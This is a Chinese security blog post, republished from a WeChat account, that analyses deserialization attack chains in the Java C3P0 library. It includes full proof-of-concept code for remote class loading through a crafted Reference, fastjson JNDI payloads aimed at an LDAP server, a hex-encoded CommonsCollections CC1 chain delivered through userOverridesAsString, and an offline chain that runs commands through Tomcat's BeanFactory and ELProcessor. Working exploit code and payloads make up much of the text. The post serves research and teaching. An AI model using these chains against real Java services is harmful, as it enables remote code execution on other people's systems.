C3P0利用分析

admin 2024年11月21日14:18:02评论7 views字数 10227阅读34分5秒阅读模式

前言

C3P0存在原生反序列化三种利用方式、拓展利用点

1.Java 原生态反序列化利用链 - 加载远程类

2.Json 反序列化利用链 - JNDI

3.Json 反序列化利用链 - HEX序列化字节加载器

4.拓展:Java 原生态反序列化利用链 - 不出网利用

环境

maven导入,0.9.5.5为最新版本(2019)

<dependencies>    <dependency>        <groupId>com.mchange</groupId>        <artifactId>c3p0</artifactId>        <version>0.9.5.5</version>    </dependency></dependencies>

加载远程类

利用点在

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.java 类中的 writeObject 与 readObject

一、先看 **PoolBackedDataSourceBase#writeObject()**,首先有一个 try/catch

尝试去序列化 connectionPoolDataSource

C3P0利用分析

而 connectionPoolDataSource 的类型不是可序列化的

C3P0利用分析

所以进入到catch中,实例化一个 ReferenceIndirector 类型对象,然后调用 indirectForm(),传入的参数为 connectionPoolDataSource

C3P0利用分析

跟进 ReferenceIndirector#indirectForm()

通过 getReference() 赋值给 Reference 类型的变量 ref,然后通过 ReferenceSerialized 类的构造方法 然后赋值给 reference 变量。

C3P0利用分析

只要实现一个类实现了 Referenceable 接口

和 ConnectionPoolDataSource 接口,然后重写 getReference() 里去实例化一个 Reference 对象即可满足上面的条件。所以可控 ref 的值

C3P0利用分析

Reference的构造方法:

可控 classFactory 和 classFactoryLocation 下面构造payload有用

C3P0利用分析

二、再看 PoolBackedDataSourceBase#readObject() 调用 ReferenceSerialized#getObject()

C3P0利用分析

contextName不可控,跳过if,然后调用了 ReferenceableUtils#referenceToObject() 而且第一个参数我们可控

C3P0利用分析

跟进调用,利用远程类加载器(URLClassLoader),通过 getter 方法去加载可控类名(fClassName),最后Class.forName()第二个参数为true,即表示初始化类时加载static代码块

C3P0利用分析

poc,远程开一个服务

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;
public class Test {    public static void main(String[] args) throws Exception {        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);        poc POC = new poc("calc", "http://127.0.0.1:6666/");        setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC);        //serialize(poolBackedDataSourceBase);        unserialize();    }
    public static class poc implements ConnectionPoolDataSource, Referenceable{        public String classFactory;        public String classFactoryLocation;
        public poc(String classFactory,String classFactoryLocation){            this.classFactory = classFactory;            this.classFactoryLocation = classFactoryLocation;        }
                public Reference getReference() throws NamingException {            return new Reference("Y0ng",this.classFactory,this.classFactoryLocation);        }
                public PooledConnection getPooledConnection() throws SQLException {            return null;        }
                public PooledConnection getPooledConnection(String user, String password) throws SQLException {            return null;        }
                public PrintWriter getLogWriter() throws SQLException {            return null;        }
                public void setLogWriter(PrintWriter out) throws SQLException {
        }
                public void setLoginTimeout(int seconds) throws SQLException {
        }
                public int getLoginTimeout() throws SQLException {            return 0;        }
                public Logger getParentLogger() throws SQLFeatureNotSupportedException {            return null;        }    }
    public static void serialize(Object obj) throws Exception {        FileOutputStream file = new FileOutputStream("ser.bin");        ObjectOutputStream oos = new ObjectOutputStream(file);        oos.writeObject(obj);        oos.close();    }            public static void unserialize() throws Exception{        FileInputStream file = new FileInputStream("ser.bin");        ObjectInputStream ois = new ObjectInputStream(file);        Object o = ois.readObject();        //return o;    }
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{        Field field = object.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(object, value);    }}

JNDI

这里以尝试挖掘的思路跟一下,ctrl+shift+F全局搜索一下lookup关键字,C3P0中也就10个结果,以 JndiRefForwardingDataSource

C3P0利用分析

可以看到,都是在 dereference() 被调用,参数 jndiName 通过 getter 方法获取

C3P0利用分析

那么先看一下 setter 方法,JndiRefDataSourceBase#setJndiName() ,这里关于 PropertyChangeEvent监听javabean的变化 设置了jndiName的值

C3P0利用分析

那么再看一下 dereference() ,ALT+F7 查找调用处,inner() 进行调用

C3P0利用分析

发现 inner() 都是通过 setter和getter进行调用

C3P0利用分析

综上,切合 fastjson 利用条件

poc:起一个marshalsec的 ldap

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc"}{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc""loginTimeout":0}

另外,发现 C3P0PooledDataSource 也存在相同的利用点,但是 rebind()方法中parse一直出错

C3P0利用分析

HEX序列化字节加载器

更多的是利用 fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor 来打二次反序列化

在 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString() 中设置 userOverridesAsString 的值后,当调用set方法 setUpPropertyListeners 时就能触发,而这个监听器正好在设置完userOverridesAsString就会调用

C3P0利用分析

**WrapperConnectionPoolDataSource#setUpPropertyListeners()**,中调用了 parseUserOverridesAsString

C3P0利用分析

parseUserOverridesAsString,截取字符串,HASM_HEADER 为定值 HexAsciiSerializedMap,所以构造的payload需要符合这样形式

"HexAsciiSerializedMap:"+HexString+":"

然后将hex转为byte调用 SerializableUtils#fromByteArray()

C3P0利用分析

然后就是调用原生反序列化,搭配其他的Gadget,比如CC、CB,在框架中还能注入内存马

C3P0利用分析

poc,以CC1为例

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
import com.alibaba.fastjson.JSON;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;

import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;

public class Test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();        map.put("value", "bbb");        Map<Object, Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor cons = c.getDeclaredConstructor(Class.class, Map.class);        cons.setAccessible(true);        Object o = cons.newInstance(Retention.class, transformMap);        serialize(o);
        byte[] bytes = Files.readAllBytes(Paths.get("ser.bin"));        String hex = bytesToHexString(bytes,bytes.length);
        String poc = "{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+hex+";"}}";        JSON.parseObject(poc);    }
    public static void serialize(Object obj) throws Exception {        FileOutputStream file = new FileOutputStream("ser.bin");        ObjectOutputStream oos = new ObjectOutputStream(file);        oos.writeObject(obj);        oos.close();    }
    public static void unserialize() throws Exception{        FileInputStream file = new FileInputStream("ser.bin");        ObjectInputStream ois = new ObjectInputStream(file);        Object o = ois.readObject();    }
    public static String bytesToHexString(byte[] bArray, int length) {        StringBuffer sb = new StringBuffer(length);
        for(int i = 0; i < length; ++i) {            String sTemp = Integer.toHexString(255 & bArray[i]);            if (sTemp.length() < 2) {                sb.append(0);            }
            sb.append(sTemp.toUpperCase());        }        return sb.toString();    }}

不出网利用

环境:反序列化点

先回顾一下 getObject()中,其实如果通过这三种方法去修改contextName的值,就可以直接 JNDI 的利用,在一道CTF题目中,有提到这点实现 ljctr wp ,但是比较麻烦,所以略过。

  1. 修改C3P0源代码 比较简单
  2. 通过agent技术去修改源代码
  3. 像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以)

C3P0利用分析

跟到 referenceToObject() 中,加载远程类是通过getFactoryClassLocation获取到URLClassloader,通过Class.forName进行远程触发,如果获取为null,就会获取当前线程的ClassLoader,然后实例化一个对象,最后在return的时候调用这个对象的 getObjectInstance()**,在高版本JDK中的一种绕过方法,利用Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入**

org.apache.naming.factory.BeanFactory在getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的

C3P0利用分析

poc

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;
public class Test {    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);        poc POC = new poc("org.apache.naming.factory.BeanFactory", null);        setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC);        serialize(poolBackedDataSourceBase);        unserialize();    }
    public static class poc implements ConnectionPoolDataSource, Referenceable{        public String classFactory;        public String classFactoryLocation;
        public poc(String classFactory,String classFactoryLocation){            this.classFactory = classFactory;            this.classFactoryLocation = classFactoryLocation;        }
                public Reference getReference() throws NamingException {            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);            ref.add(new StringRefAddr("forceString", "x=eval"));            String cmd = "calc";            ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()")"));            return ref;        }
                public PooledConnection getPooledConnection() throws SQLException {            return null;        }
                public PooledConnection getPooledConnection(String user, String password) throws SQLException {            return null;        }
                public PrintWriter getLogWriter() throws SQLException {            return null;        }
                public void setLogWriter(PrintWriter out) throws SQLException {
        }
                public void setLoginTimeout(int seconds) throws SQLException {
        }
                public int getLoginTimeout() throws SQLException {            return 0;        }
                public Logger getParentLogger() throws SQLFeatureNotSupportedException {            return null;        }    }
    public static void serialize(Object obj) throws Exception {        FileOutputStream file = new FileOutputStream("ser.bin");        ObjectOutputStream oos = new ObjectOutputStream(file);        oos.writeObject(obj);        oos.close();    }

    public static void unserialize() throws Exception{        FileInputStream file = new FileInputStream("ser.bin");        ObjectInputStream ois = new ObjectInputStream(file);        Object o = ois.readObject();        //return o;    }
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{        Field field = object.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(object, value);    }}

参考

Java安全之C3P0利用与分析-Zh1z3ven

C3P0反序列化链学习

JAVA反序列化之C3P0不出网利用 | 雨了个雨’s blog

原文始发于微信公众号(Arr3stY0u):C3P0利用分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日14:18:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C3P0利用分析https://cn-sec.com/archives/1625272.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息